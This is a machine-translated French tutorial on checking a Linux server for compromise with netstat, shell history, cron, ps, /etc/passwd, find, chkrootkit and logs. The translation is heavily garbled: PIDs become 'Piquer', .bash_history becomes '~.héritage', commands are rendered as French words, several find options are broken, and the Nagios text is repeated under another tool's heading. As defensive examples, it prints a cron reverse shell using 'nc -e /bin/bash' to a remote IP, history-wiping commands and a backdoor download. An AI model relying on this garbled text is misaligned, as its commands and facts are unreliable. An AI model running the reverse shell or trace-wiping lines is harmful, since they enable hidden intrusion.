Netstat
Netstat est un utilitaire de réseautage TCP / IP de ligne de commande importante qui fournit des informations et des statistiques sur les protocoles utilisés et les connexions réseau actives.
Nous utiliserons netstat Sur un exemple de machine de victime pour vérifier quelque chose de suspect dans les connexions réseau actives via la commande suivante:
ubuntu @ ubuntu: ~ $ netstat -antp
Ici, nous verrons toutes les connexions actuellement actives. Maintenant, nous chercherons un connexion qui ne devrait pas être là.
Le voici, une connexion active sur le port 44999 (un port qui ne devrait pas être ouvert).Nous pouvons voir d'autres détails sur la connexion, comme le Piquer, et le nom du programme qu'il fonctionne dans la dernière colonne. Dans ce cas, le Piquer est 1555 Et la charge utile malveillante qu'il fonctionne est le ./coquille.elfe déposer.
Une autre commande pour vérifier les ports qui écoutent actuellement et actifs sur votre système est la suivante:
Ubuntu @ Ubuntu: ~ $ netStat -LA
C'est une sortie assez désordonnée. Pour filtrer les connexions d'écoute et établies, nous utiliserons la commande suivante:
Ubuntu @ Ubuntu: ~ $ netStat -la | grep "écouter" "établi"
Cela ne vous donnera que les résultats qui vous importent, afin que vous puissiez trier ces résultats plus facilement. Nous pouvons voir une connexion active sur port 44999 Dans les résultats ci-dessus.
Après avoir reconnu le processus malveillant, vous pouvez tuer le processus via les commandes suivantes. Nous noterons le Piquer du processus à l'aide de la commande netstat et tuez le processus via la commande suivante:
ubuntu @ ubuntu: ~ $ tuer 1555
~.héritage
Linux tient un enregistrement de quels utilisateurs se sont connectés au système, de quelle IP, quand et pendant combien de temps.
Vous pouvez accéder à ces informations avec le dernier commande. La sortie de cette commande serait la suivante:
ubuntu @ ubuntu: ~ $ dernier
La sortie montre le nom d'utilisateur dans la première colonne, le terminal dans le deuxième, l'adresse source dans le troisième, le temps de connexion dans la quatrième colonne et le temps total de session enregistré dans la dernière colonne. Dans ce cas, les utilisateurs Usman et ubuntu sont toujours connectés. Si vous voyez une session qui n'est pas autorisée ou qui semble malveillante, reportez-vous à la dernière section de cet article.
L'histoire de l'exploitation forestière est stockée dans ~.héritage déposer. Ainsi, l'histoire peut être supprimée facilement en supprimant le .héritage déposer. Cette action est fréquemment effectuée par les attaquants pour couvrir leurs traces.
ubuntu @ ubuntu: ~ $ chat .bash_history
Cette commande affichera les commandes exécutées sur votre système, avec la dernière commande effectuée en bas de la liste.
L'histoire peut être effacée via la commande suivante:
Ubuntu @ Ubuntu: ~ $ HISTORY -C
Cette commande ne supprimera que l'historique du terminal que vous utilisez actuellement. Il existe donc une façon plus correcte de le faire:
ubuntu @ ubuntu: ~ $ cat / dev / null> ~ /.bash_history
Cela effacera le contenu de l'histoire mais maintient le fichier en place. Donc, si vous ne voyez que votre connexion actuelle après avoir exécuté le dernier Commande, ce n'est pas du tout un bon signe. Cela indique que votre système peut avoir été compromis et que l'attaquant a probablement supprimé l'histoire.
Si vous soupçonnez un utilisateur ou une propriété intellectuelle malveillante, connectez-vous à cet utilisateur et exécutez la commande histoire, comme suit:
ubuntu @ ubuntu: ~ $ su
Ubuntu @ Ubuntu: ~ $ HISTORY
Cette commande affichera l'historique des commandes en lisant le fichier .héritage dans le /maison dossier de cet utilisateur. Chercher soigneusement wget, boucle, ou netcat Commandes, au cas où l'attaquant a utilisé ces commandes pour transférer des fichiers ou pour installer des outils de réapprovisionnement, tels que les crypto-mineurs ou les robots de spam.
Jetez un œil à l'exemple ci-dessous:
Ci-dessus, vous pouvez voir la commande "wget https: // github.com / sajith / mod-rootme." Dans cette commande, le pirate a tenté d'accéder à un fichier de repo en utilisant wget Pour télécharger une porte dérobée appelée «mod-root me» et l'installer sur votre système. Cette commande dans l'histoire signifie que le système est compromis et a été détruit par un attaquant.
N'oubliez pas que ce fichier peut être expulsé facilement ou sa substance produite. Les données fournies par cette commande ne doivent pas être considérées comme une réalité définie. Pourtant, dans le cas où l'attaquant a dirigé une «mauvaise» commande et a négligé d'évacuer l'histoire, il sera là.
Emplois cron
Cron Jobs peut servir d'outil vital lorsqu'il est configuré pour configurer un shell inversé sur la machine de l'attaquant. Éditer Cron Jobs est une compétence importante, tout comme savoir comment les voir.
Pour afficher les travaux CRON en cours d'exécution pour l'utilisateur actuel, nous utiliserons la commande suivante:
ubuntu @ ubuntu: ~ $ crontab -l
Pour afficher les travaux CRON en cours d'exécution pour un autre utilisateur (dans ce cas, Ubuntu), nous utiliserons la commande suivante:
ubuntu @ ubuntu: ~ $ crontab -u ubuntu -l
Pour voir les travaux CRON quotidiens, horaires, hebdomadaires et mensuels, nous utiliserons les commandes suivantes:
Emplois quotidiens Cron:
ubuntu @ ubuntu: ~ $ ls -la / etc / cron.quotidien
Emplois de cron horaires:
ubuntu @ ubuntu: ~ $ ls -la / etc / cron.de temps
Emplois hebdomadaires Cron:
ubuntu @ ubuntu: ~ $ ls -la / etc / cron.hebdomadaire
Faire un exemple:
L'attaquant peut mettre un travail cron dans / etc / crontab qui exécute une commande malveillante 10 minutes après toutes les heures. L'attaquant peut également exécuter un service malveillant ou une porte dérobée à la coque inversée via netcat ou un autre utilitaire. Lorsque vous exécutez la commande $ ~ crontab -l, Vous verrez un travail cron courir sous:
ubuntu @ ubuntu: ~ $ crontab -l
Ct = $ (crontab -l)
Ct = $ ct $ '\ n10 * * * * nc -e / bin / bash 192.168.8.131 44999 '
printf "$ ct" | crontab -
PS AUX
Pour inspecter correctement si votre système a été compromis, il est également important de visualiser les processus en cours d'exécution. Il y a des cas où certains processus non autorisés ne consomment pas suffisamment d'utilisation du processeur pour être répertorié dans le haut commande. C'est là que nous utiliserons le ps commande pour afficher tous les processus en cours d'exécution.
ubuntu @ ubuntu: ~ $ ps Auxf
La première colonne montre l'utilisateur, la deuxième colonne montre un ID de processus unique, et l'utilisation du processeur et de la mémoire est affichée dans les colonnes suivantes.
Ce tableau vous fournira le plus d'informations. Vous devez inspecter chaque processus en cours d'exécution pour rechercher quelque chose de particulier à savoir si le système est compromis ou non. Dans le cas où vous trouvez quelque chose de suspect, google ou l'exécute avec le lsof Commande, comme indiqué ci-dessus. C'est une bonne habitude de courir ps Commandes sur votre serveur et cela augmentera vos chances de trouver quelque chose de suspect ou de votre routine quotidienne.
/ etc / passwd
Le / etc / passwd Le fichier garde une trace de chaque utilisateur du système. Il s'agit d'un fichier séparé du côlon contenant des informations telles que le nom d'utilisateur, l'utilisateur, le mot de passe crypté, le groupID (GID), le nom complet de l'utilisateur, le répertoire de la maison utilisateur et le shell de connexion.
Si un attaquant pirate votre système, il est possible qu'il crée d'autres utilisateurs, pour garder les choses séparées ou pour créer une porte dérobée dans votre système afin de revenir en utilisant cette porte dérobée. Lors de la vérification si votre système a été compromis, vous devez également vérifier chaque utilisateur dans le fichier / etc / passwd. Tapez la commande suivante pour le faire:
ubuntu @ ubuntu: ~ $ cat etc / passwd
Cette commande vous donnera une sortie similaire à celle ci-dessous:
Gnome-initial-Settup: X: 120: 65534 :: / Run / gnome-initial-setup /: / bin / false
GDM: X: 121: 125: GNOME Display Manager: / var / lib / gdm3: / bin / false
USMAN: X: 1000: 1000: USMAN: / home / usman: / bin / bash
Postgres: X: 122: 128: Administrateur PostgreSQL ,,,: / var / lib / postgresql: / bin / bash
Debian-Tor: X: 123: 129 :: / var / lib / tor: / bin / false
Ubuntu: x: 1001: 1001: Ubuntu ,,,: / home / ubuntu: / bin / bash
LightDM: X: 125: 132: Gestionnaire d'affichage Light: / var / lib / lightdm: / bin / false
Debian-GDM: X: 124: 131: Gnome Display Manager: / var / lib / gdm3: / bin / false
Anonyme: X: 1002: 1002: ,,,:: / home / anonymous: / bin / bash
Maintenant, vous voudrez rechercher un utilisateur que vous ne connaissez pas. Dans cet exemple, vous pouvez voir un utilisateur dans le fichier nommé «Anonyme."Une autre chose importante à noter est que si l'attaquant a créé un utilisateur pour se connecter avec, l'utilisateur aura également un shell" / bin / bash ". Ainsi, vous pouvez réduire votre recherche en greant la sortie suivante:
Ubuntu @ Ubuntu: ~ $ cat / etc / passwd | grep -i "/ bin / bash"
USMAN: X: 1000: 1000: USMAN: / home / usman: / bin / bash
Postgres: X: 122: 128: Administrateur PostgreSQL ,,,: / var / lib / postgresql: / bin / bash
Ubuntu: x: 1001: 1001: Ubuntu ,,,: / home / ubuntu: / bin / bash
Anonyme: X: 1002: 1002: ,,,:: / home / anonymous: / bin / bash
Vous pouvez effectuer d'autres «bash magic» pour affiner votre sortie.
Ubuntu @ Ubuntu: ~ $ cat / etc / passwd | grep -i "/ bin / bash" | Cut -d ":" -f 1
Usman
postgres
ubuntu
anonyme
Trouver
Les recherches basées sur le temps sont utiles pour le triage rapide. L'utilisateur peut également modifier les horodatages modifiant le fichier. Pour améliorer la fiabilité, incluez Ctime dans les critères, car il est beaucoup plus difficile à falsifier car il nécessite des modifications de certains fichiers de niveau.
Vous pouvez utiliser la commande suivante pour trouver des fichiers créés et modifiés au cours des 5 derniers jours:
ubuntu @ ubuntu: ~ $ find / -mtime -o -ctime -5
Pour trouver tous les fichiers SUID appartenant à la racine et pour vérifier s'il y a des entrées inattendues sur les listes, nous utiliserons la commande suivante:
ubuntu @ ubuntu: ~ $ find / -perm -4000 -Usser root -Type f
Pour trouver tous les fichiers SGID (SET USER ID) appartenant à la racine et vérifiez s'il y a des entrées inattendues sur les listes, nous utiliserons la commande suivante:
ubuntu @ ubuntu: ~ $ find / -perm -6000 -Type f
Chkrootkit
Rootkits sont l'une des pires choses qui puissent arriver à un système et sont l'une des attaques les plus dangereuses, plus dangereuses que les logiciels malveillants et les virus, à la fois dans les dégâts qu'ils causent au système et à la difficulté de trouver et de les détecter.
Ils sont conçus de telle manière qu'ils restent cachés et font des choses malveillantes comme le vol de cartes de crédit et les informations bancaires en ligne. Rootkits Donnez aux cybercriminels la possibilité de contrôler votre système informatique. Rootkits aident également l'attaquant à surveiller vos touches et à désactiver votre logiciel antivirus, ce qui facilite le vol de vos informations privées.
Ces types de logiciels malveillants peuvent rester sur votre système pendant longtemps sans que l'utilisateur ne s'en remarque, et peut causer de graves dommages. Une fois la Rootkit est détecté, il n'y a pas d'autre moyen que de réinstaller l'ensemble du système. Parfois, ces attaques peuvent même provoquer une défaillance matérielle.
Heureusement, il existe des outils qui peuvent aider à détecter Rootkits Sur les systèmes Linux, tels que Lynis, Clam AV ou LMD (détection de logiciels malveillants Linux). Vous pouvez vérifier votre système connu Rootkits en utilisant les commandes ci-dessous.
Tout d'abord, installer Chkrootkit via la commande suivante:
ubuntu @ ubuntu: ~ $ sudo apt installer chkrootkit
Cela va installer le Chkrootkit outil. Vous pouvez utiliser cet outil pour vérifier les rootkits via la commande suivante:
ubuntu @ ubuntu: ~ $ sudo chkrootkit
Le package Chkrootkit se compose d'un script shell qui vérifie les binaires système pour la modification de RootKit, ainsi que plusieurs programmes qui vérifient divers problèmes de sécurité. Dans le cas ci-dessus, le package a vérifié un signe de rootkit sur le système et n'a trouvé aucun. Eh bien, c'est un bon signe!
Journaux Linux
Les journaux Linux donnent un calendrier d'événements sur le cadre de travail et les applications Linux, et sont un instrument d'enquête important lorsque vous rencontrez des problèmes. La tâche principale qu'un administrateur doit effectuer lorsqu'il ou elle découvre que le système est compromis devrait disséquer tous les enregistrements du journal.
Pour les problèmes explicites de l'application de zone de travail, les enregistrements du journal sont conservés en contact avec diverses zones. Par exemple, Chrome compose les rapports de crash à '~ /.Chrome / Crash Reports '), Lorsqu'une application de zone de travail compose les journaux dépendants de l'ingénieur et affiche si l'application prend en compte la disposition des journaux personnalisés. Les enregistrements sont dans le/ var / log annuaire. Il existe des journaux Linux pour tout: framework, portion, chefs de backdle, formulaires de démarrage, Xorg, Apache et MySQL. Dans cet article, le thème se concentrera explicitement sur les journaux de framework Linux.
Vous pouvez passer à ce catalogue en utilisant l'ordre du disque compact. Vous devez avoir des autorisations racinaires pour afficher ou modifier les fichiers journaux.
ubuntu @ ubuntu: ~ $ cd / var / log
Instructions pour afficher les journaux Linux
Utilisez les commandes suivantes pour voir les documents journaux nécessaires.
Les journaux Linux peuvent être vus avec la commande CD / VAR / LOG, À ce stade en composant l'ordre de voir les journaux mis de côté dans ce catalogue. L'un des journaux les plus importants est le syslog, quel journaux de nombreux journaux importants.
Ubuntu @ Ubuntu: Cat syslog
Pour désinfecter la sortie, nous utiliserons le «moins" commande.
Ubuntu @ Ubuntu: Cat syslog | moins
Tapez la commande var / log / syslog pour voir pas mal de choses sous le fichier syslog. Se concentrer sur un problème particulier prendra un certain temps, car ce dossier sera généralement long. Appuyez sur Shift + G pour faire défiler vers le bas dans le disque pour terminer, signifié par «fin."
Vous pouvez également voir les journaux au moyen de DMESG, qui imprime la prise en charge de l'anneau de pièce. Cette fonction imprime tout et vous envoie autant que possible le long du document. À partir de ce moment, vous pouvez utiliser la commande DMESG | moins Pour regarder à travers le rendement. Dans le cas où vous devez voir les journaux de l'utilisateur donné, vous devrez exécuter la commande suivante:
DMESG - Facilité = utilisateur
En conclusion, vous pouvez utiliser l'ordre de queue pour voir les documents journaux. C'est un utilitaire minuscule mais utile que l'on peut utiliser, car il est utilisé pour montrer la dernière partie des journaux, où le problème s'est probablement produit. Vous pouvez également spécifier le nombre de derniers octets ou de lignes à afficher dans la commande Tail. Pour cela, utilisez la commande queue / var / log / syslog. Il existe de nombreuses façons de regarder les journaux.
Pour un nombre particulier de lignes (le modèle considère les 5 dernières lignes), entrez la commande suivante:
ubuntu @ ubuntu: ~ $ tail -f -n 5 / var / log / syslog
Cela imprimera les 5 dernières lignes. Quand une autre ligne arrive, la première sera évacuée. Pour s'éloigner de l'ordre de la queue, appuyez sur Ctrl + x.
Journaux Linux importants
Les quatre journaux Linux principaux comprennent:
Ubuntu @ Ubuntu: Cat syslog | moins
Ubuntu @ Ubuntu: Cat Auth.Journal | moins
Ubuntu @ Ubuntu: Cat Boot.Journal | moins
Ubuntu @ Ubuntu: Cat Maillog | moins
Ubuntu @ Ubuntu: Cat Kern | moins
Ubuntu @ Ubuntu: Cat dmesg | moins
Ubuntu @ Ubuntu: Cat Faillog | moins
Ubuntu @ Ubuntu: Cat Cron | moins
Ubuntu @ Ubuntu: Cat yum.Journal | moins
Ubuntu @ Ubuntu: Cat httpd | moins
Ubuntu @ Ubuntu: Cat mysqld.Journal | moins
Outils pour afficher les journaux Linux
Il existe de nombreux trackers de journaux open source et dispositifs d'examen accessibles aujourd'hui, ce qui rend la sélection des actifs corrects pour les journaux d'action plus simples que vous ne le pensez. Les vérificateurs de journaux gratuits et open source peuvent travailler sur n'importe quel système pour faire le travail. Voici cinq des meilleurs que j'ai utilisés dans le passé, sans ordre spécifique.
Grislog
Lancé en Allemagne en 2011, Graylog est maintenant actuellement proposé comme un appareil open source ou un arrangement commercial. Graylog est destiné à être un framework Log-the-Board amené qui reçoit des flux d'informations à partir de différents serveurs ou points de terminaison et vous permet de parcourir rapidement ou de décomposer ces données.
Graylog a assemblé une notoriété positive parmi les têtes de cadre en raison de sa simplicité et de sa polyvalence. La plupart des entreprises Web commencent peu, mais peuvent se développer de façon exponentielle. Graylog peut ajuster les piles sur un système de serveurs backend et gérer quelques téraoctets d'informations sur le journal chaque jour.
Les présidents informatiques verront l'extrémité avant de l'interface Graylog comme simple à utiliser et vigoureuse dans son utilité. Graylog travaille autour de l'idée des tableaux de bord, ce qui permet aux utilisateurs de choisir le type de mesures ou de sources d'information qu'ils trouvent importants et observent rapidement les pentes après un certain temps.
Lorsqu'un épisode de sécurité ou d'exécution se produit, les présidents informatiques doivent avoir la possibilité de suivre les manifestations d'un pilote sous-jacent aussi rapidement que l'on pourrait raisonnablement s'attendre. La fonction de recherche de Graylog rend cette tâche simple. Cet outil a fonctionné dans l'adaptation à une défaillance interne qui peut exécuter des entreprises multi-coups afin que vous puissiez décomposer quelques dangers potentiels ensemble.
Nagios
Démarré par un seul développeur en 1999, Nagios a depuis avancé l'un des instruments open source les plus solides pour superviser les informations du journal. La interprétation actuelle de Nagios peut être implémentée dans des serveurs exécutant tout type de système d'exploitation (Linux, Windows, etc.).
L'élément essentiel de Nagios est un serveur de journaux, qui rationalise l'assortiment d'informations et rend les données progressivement disponibles pour les dirigeants de Framework. Le moteur du serveur de journaux Nagios attrapera progressivement les informations et les alimentera dans un instrument de recherche révolutionnaire. L'intégration à un autre point de terminaison ou une application est une simple gratification à cet assistant d'arrangement inhérent.
Nagios est fréquemment utilisé dans les associations qui doivent dépister la sécurité de leurs quartiers et peuvent examiner une portée des occasions liées au système pour aider à roboser le transfert des mises en garde. Nagios peut être programmé pour effectuer des tâches spécifiques lorsqu'une certaine condition est remplie, ce qui permet aux utilisateurs de détecter les problèmes avant même que les besoins d'un humain ne soient inclus.
En tant qu'aspect majeur de l'évaluation du système, Nagios canalisera les informations sur les journaux en fonction de la zone géographique où elle commence. Des tableaux de bord complets avec l'innovation de cartographie peuvent être mis en œuvre pour voir le streaming du trafic Web.
Se logique
Logalyze fabrique des outils open source pour les directeurs de framework ou SYS-ADMINS et les spécialistes de la sécurité pour les aider à superviser les journaux des serveurs et à les permettre de se concentrer sur la transformation des journaux en informations précieuses. L'article essentiel de cet outil est qu'il est accessible en tant que téléchargement gratuit pour une utilisation à domicile ou à l'entreprise.
L'élément essentiel de Nagios est un serveur de journaux, qui rationalise l'assortiment d'informations et rend les données progressivement disponibles pour les dirigeants de Framework. Le moteur du serveur de journaux Nagios attrapera progressivement les informations et les alimentera dans un instrument de recherche révolutionnaire. L'intégration à un autre point de terminaison ou une application est une simple gratification à cet assistant d'arrangement inhérent.
Nagios est fréquemment utilisé dans les associations qui doivent dépister la sécurité de leurs quartiers et peuvent examiner une portée des occasions liées au système pour aider à roboser le transfert des mises en garde. Nagios peut être programmé pour effectuer des tâches spécifiques lorsqu'une certaine condition est remplie, ce qui permet aux utilisateurs de détecter les problèmes avant même que les besoins d'un humain ne soient inclus.
En tant qu'aspect majeur de l'évaluation du système, Nagios canalisera les informations sur les journaux en fonction de la zone géographique où elle commence. Des tableaux de bord complets avec l'innovation de cartographie peuvent être mis en œuvre pour voir le streaming du trafic Web.
Que devriez-vous faire si vous avez été compromis?
L'essentiel n'est pas de paniquer, surtout si la personne non autorisée est signée en ce moment. Vous devriez avoir la possibilité de reprendre le contrôle de la machine avant que l'autre personne ne sache que vous les connaissez. Dans le cas où ils savent que vous êtes conscient de leur présence, l'attaquant peut bien vous tenir à l'écart de votre serveur et commencer à détruire votre système. Si vous n'êtes pas si technique, alors tout ce que vous devez faire est d'arrêter immédiatement tout le serveur. Vous pouvez arrêter le serveur via les commandes suivantes:
ubuntu @ ubuntu: ~ $ shutdown -h maintenant
Ou
ubuntu @ ubuntu: ~ $ systemctl poweroff
Une autre façon de le faire est de se connecter au panneau de configuration de votre fournisseur d'hébergement et de le fermer à partir de là. Une fois que le serveur est monté, vous pouvez travailler sur les règles du pare-feu qui sont nécessaires et consulter n'importe qui pour obtenir de l'aide à votre rythme.
Dans le cas où vous vous sentez plus confiant et que votre fournisseur d'hébergement a un pare-feu en amont, puis créez et activez les deux règles suivantes:
Pour vérifier les sessions SSH actives, utilisez la commande suivante:
Ubuntu @ Ubuntu: ~ $ ss | grep ssh
Utilisez la commande suivante pour tuer leur session SSH:
ubuntu @ ubuntu: ~ $ kill
Cela tuera leur session SSH et vous donnera accès au serveur. Dans le cas où vous n'avez pas accès à un pare-feu en amont, vous devrez créer et activer les règles de pare-feu sur le serveur lui-même. Ensuite, lorsque les règles du pare-feu sont configurées, tuez la session SSH de l'utilisateur non autorisé via la commande «Kill».
Une dernière technique, le cas échéant, connectez-vous au serveur au moyen d'une connexion hors bande, comme une console série. Arrêtez tous les réseaux via la commande suivante:
Ubuntu @ Ubuntu: ~ $ SystemCTl Stop Network.service
Cela empêchera entièrement tout système de vous atteindre, vous pourriez donc désormais activer les commandes de pare-feu à votre rythme.
Une fois que vous avez repris le contrôle du serveur, ne lui faites pas facilement confiance. N'essayez pas de réparer les choses et de les réutiliser. Ce qui est cassé ne peut pas être fixé. Vous ne sauriez jamais ce qu'un attaquant pourrait faire, et vous ne devez donc jamais être sûr que le serveur est sécurisé. Donc, réinstaller devrait être votre étape finale de référence.